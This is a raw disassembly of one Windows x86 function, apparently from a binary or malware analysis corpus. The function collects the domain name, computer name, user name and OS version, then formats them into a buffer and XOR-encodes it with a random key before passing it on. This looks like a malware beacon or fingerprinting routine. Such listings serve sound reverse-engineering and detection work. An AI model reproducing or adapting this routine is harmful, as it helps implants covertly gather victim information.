Function at 0x407940
Capabilities:
Encode data using xor
Get hostname
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6bc
mov eax, dword fs:[0x30]
push ebx
push esi
push edi
mov ecx, dword [eax + 0xa4]
xor ebx, ebx
mov dword [ebp - 0x14], ecx
mov ecx, dword [eax + 0xa8]
movzx eax, word [eax + 0xac]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x18]
push eax
push 1
push 0x40a060
push ebx
mov dword [ebp - 0x28], ecx
call dword [sym.imp.ADVAPI32.dll_LsaOpenPolicy]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
test eax, eax
js 0x407a0a
lea eax, [ebp - 8]
push eax
push 0xc
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_LsaQueryInformationPolicy]
test eax, eax
js 0x407a01
mov eax, dword [ebp - 8]
cmp dword [eax + 0x28], ebx
je 0x4079fa
movzx eax, word [eax + 8]
add eax, 2
push eax
push 8
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x4079f7
mov ecx, dword [ebp - 8]
movzx edi, word [ecx + 8]
mov edx, dword [ecx + 0xc]
shr edi, 1
test edx, edx
je 0x4079f1
lea esi, [edi + edi]
xor ecx, ecx
test esi, esi
je 0x4079eb
nop dword [eax]
mov al, byte [ecx + edx]
mov byte [ecx + ebx], al
inc ecx
cmp ecx, esi
jb 0x4079e0
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor eax, eax
mov word [ebx + edi*2], ax
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_LsaFreeMemory]
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_LsaClose]
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0x10
push eax
lea eax, [ebp - 0x6c]
mov dword [ebp - 0x20], 0x101
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x2b8]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea eax, [ebp - 0x6c]
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push eax
push 0
push 0xfde9
call edi
mov dword [ebp - 4], eax
test eax, eax
jg 0x407a64
mov dword [ebp - 0xc], 0
jmp 0x407a9f
inc eax
push eax
push 8
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
mov dword [ebp - 0xc], edi
test edi, edi
je 0x407a99
push 0
push 0
push dword [ebp - 4]
lea eax, [ebp - 0x6c]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0xffffffffffffffff
push eax
push 0
push 0xfde9
call edi
jmp 0x407a9f
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x2b8]
push eax
push 0
push 0xfde9
call edi
mov dword [ebp - 0x10], eax
test eax, eax
jg 0x407ac9
mov dword [ebp - 4], 0
jmp 0x407af7
inc eax
push eax
push 8
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 4], eax
test eax, eax
je 0x407af7
push 0
push 0
push dword [ebp - 0x10]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x2b8]
push eax
push 0
push 0xfde9
call edi
mov ecx, 0xf
lea edi, [ebp - 0xac]
mov esi, 0x4023b0
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
xor esi, esi
cmp byte [ebp - 0xac], 0
je 0x407b2b
nop word [eax + eax]
inc esi
cmp byte [ebp + esi - 0xac], 0
jne 0x407b20
xor edi, edi
nop dword [eax]
call fcn.004026d0
xor edx, edx
div esi
mov al, byte [ebp + edx - 0xac]
mov byte [ebp + edi - 0x3c], al
inc edi
cmp edi, 0x10
jb 0x407b30
lea edx, [ebp - 0x4c]
mov byte [ebp - 0x2c], 0
lea ecx, [ebp - 0x3c]
call fcn.00407730
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x3c]
push eax
push 0x40a0cc
push 0x6f
lea eax, [ebp - 0x6b8]
push 0x401b10
push eax
call esi
add esp, 0x14
mov dword [ebp - 0x10], eax
lea edi, [ebp - 0x6b8]
add edi, eax
push ebx
push dword [ebp - 0xc]
push dword [ebp - 4]
push dword [ebp - 0x24]
push dword [ebp - 0x28]
push dword [ebp - 0x14]
push 0x401b1d
push 0x401b20
push edi
call esi
mov edx, eax
add esp, 0x24
xor ecx, ecx
test edx, edx
je 0x407bc1
nop
mov eax, ecx
and eax, 0xf
mov al, byte [ebp + eax - 0x4c]
xor byte [edi + ecx], al
inc ecx
cmp ecx, edx
jb 0x407bb0
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0
push eax
mov eax, dword [ebp - 0x10]
add eax, edx
push eax
lea eax, [ebp - 0x6b8]
push eax
push ecx
mov ecx, 0x40a10c
call fcn.00406850
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
add esp, 0x10
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
test eax, eax
je 0x407bff
push eax
push 0
call edi
push eax
call esi
mov eax, dword [ebp - 4]
test eax, eax
je 0x407c0e
push eax
push 0
call edi
push eax
call esi
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x407c1d
push eax
push 0
call edi
push eax
call esi
test ebx, ebx
je 0x407c29
push ebx
push 0
call edi
push eax
call esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret